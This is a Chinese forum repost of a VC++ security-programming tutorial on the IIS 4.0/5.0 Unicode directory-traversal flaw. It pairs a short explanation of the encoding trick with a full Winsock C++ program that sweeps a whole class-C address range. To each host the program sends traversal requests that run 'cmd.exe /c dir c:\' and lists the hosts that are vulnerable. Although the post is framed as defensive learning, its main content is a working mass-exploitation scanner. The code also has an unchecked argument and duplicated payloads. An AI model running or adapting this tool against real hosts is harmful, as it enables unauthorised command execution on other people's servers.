找回密码
 用户注册

QQ登录

只需一步,快速开始

查看: 3115|回复: 0

[原]VC++信息安全编程(9)扫描Unicode漏洞

[复制链接]
发表于 2012-3-8 14:56:39 | 显示全部楼层 |阅读模式
Unicode是如今最热门的漏洞之一,也是比较简单易学的一个漏洞,比如去年5.1中美黑客大战中,使用的就是这个漏洞。如果我们能知道他们所采用的入侵手段,就可以进行有效的防御!今天就让我们一起来了解一下那些黑客是怎样利用该漏洞进行入侵的,目的是通过对这种黑客手段的了解,来找到防御方法。

什么是UNICODE漏洞
NSFOCUS安全小组发现IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。 对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh" 或者"%c0%hh"它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,采用的 解码的格式与下面的格式类似:%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh %c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh 因此,利用这种编码,我们可以构造很多字符,例如: %c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/' %c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\' 攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。 (1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容http://www.example.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。

我们来实例分析扫描unicode漏洞
  1. #include "stdafx.h"
  2. #include "ForUnicode.h"
  3. #include    <stdio.h>
  4. #include    <string.h>
  5. #include    <winsock2.h>
  6. #ifdef _DEBUG
  7. #define new DEBUG_NEW
  8. #undef THIS_FILE
  9. static char THIS_FILE[] = __FILE__;
  10. #endif
  11. /////////////////////////////////////////////////////////////////////////////
  12. // The one and only application object
  13. #pragma  comment(  lib,  "ws2_32")  
  14. CWinApp theApp;
  15. using namespace std;
  16. int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
  17. {
  18.         int nRetCode = 0;
  19.         // initialize MFC and print and error on failure
  20.         if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
  21.         {
  22.                 // TODO: change error code to suit your needs
  23.                 cerr << _T("Fatal Error: MFC initialization failed") << endl;
  24.                 nRetCode = 1;
  25.         }
  26.         else
  27.         {
  28.                 // TODO: code your application's behavior here.
  29. /*
  30. if(argc!=2){
  31.     printf("\nUNICODE hole scanner by Maxview. Ver 0.5\n");
  32.     printf("Useage : scan [IP address] (C-class)\n");
  33.     printf("Example: scan 202.100.2.* OR scan 211.17.65.*\n");
  34.     return(1);
  35.   }
  36. */
  37.   int sock;
  38.   struct sockaddr_in blah;
  39.   struct hostent *he;
  40.   WSADATA              wsaData;
  41.   WORD                 wVersionRequested=MAKEWORD(1,1);
  42.   char                 buff[1024];
  43.   char *exA="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n";
  44.   char *exB="GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n";
  45.   char *exC="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n";
  46.   char *exD="GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n";
  47.   char *exE="GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n";
  48.   char *fmsg="HTTP/1.1 200 OK";
  49.     char host[1000];
  50.     char net[1000];
  51.     int i;
  52.     strncpy(host,argv[1],999);
  53.     if (host[strlen(host)-1]=='*')
  54.     {
  55.         host[strlen(host)-1]=0x0;
  56.     }
  57.     for (i=1; i<256; i++)
  58. {
  59. sprintf(net, "%s%d", host, i);   //依次产生 xxx.xxx.xxx.1--xxx.xxx.xxx.255
  60. if (WSAStartup(wVersionRequested , &wsaData)){
  61. printf("Winsock Initialization failed.\n");
  62. exit(1);
  63. }
  64. if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
  65. printf("Can not create socket.\n");
  66. exit(1);
  67. }
  68. blah.sin_family = AF_INET;
  69. blah.sin_port = htons(80);
  70. blah.sin_addr.s_addr= inet_addr(net);
  71. if ((he=gethostbyname(net))!=NULL){
  72. memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
  73.   }
  74.   else{
  75.     if((blah.sin_addr.s_addr=inet_addr(net))==INADDR_NONE){
  76.       WSACleanup();
  77.       exit(1);
  78.     }
  79.   }
  80.   if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
  81.     send(sock,exA,strlen(exA),0);
  82.     recv(sock,buff,sizeof(buff),0);
  83.     if(strstr(buff,fmsg)!=NULL){
  84.       printf("\nFound an UNICODE-A hole in %s %s\n", net, exA);
  85.     }
  86.     else printf(".");
  87.     send(sock,exB,strlen(exB),0);
  88.     recv(sock,buff,sizeof(buff),0);
  89.     if(strstr(buff,fmsg)!=NULL){
  90.       printf("\nFound an UNICODE-B hole in %s %s\n", net, exB);
  91.     }
  92.     else printf(".");
  93.     send(sock,exC,strlen(exC),0);
  94.     recv(sock,buff,sizeof(buff),0);
  95.     if(strstr(buff,fmsg)!=NULL){
  96.       printf("\nFound an UNICODE-C hole in %s %s\n", net, exC);
  97.     }
  98.     else printf(".");
  99.     send(sock,exD,strlen(exD),0);
  100.     recv(sock,buff,sizeof(buff),0);
  101.     if(strstr(buff,fmsg)!=NULL){
  102.       printf("\nFound an UNICODE-D hole in %s %s\n", net, exD);
  103.     }
  104.     else printf(".");
  105.     send(sock,exE,strlen(exE),0);
  106.     recv(sock,buff,sizeof(buff),0);
  107.     if(strstr(buff,fmsg)!=NULL){
  108.       printf("\nFound an UNICODE-E hole in %s %s\n", net, exE);
  109.     }
  110.     else printf(".");
  111.   }
  112.   else printf("Can not connect the address.\n");
  113.   closesocket(sock);
  114.   WSACleanup();
  115.     }
  116.         }
  117.         return nRetCode;
  118. }
复制代码


作者:yincheng01 发表于2011-12-14 23:49:02 原文链接

您需要登录后才可以回帖 登录 | 用户注册

本版积分规则

Archiver|手机版|小黑屋|ACE Developer ( 京ICP备06055248号 )

GMT+8, 2024-4-29 13:37 , Processed in 0.011676 second(s), 6 queries , Redis On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表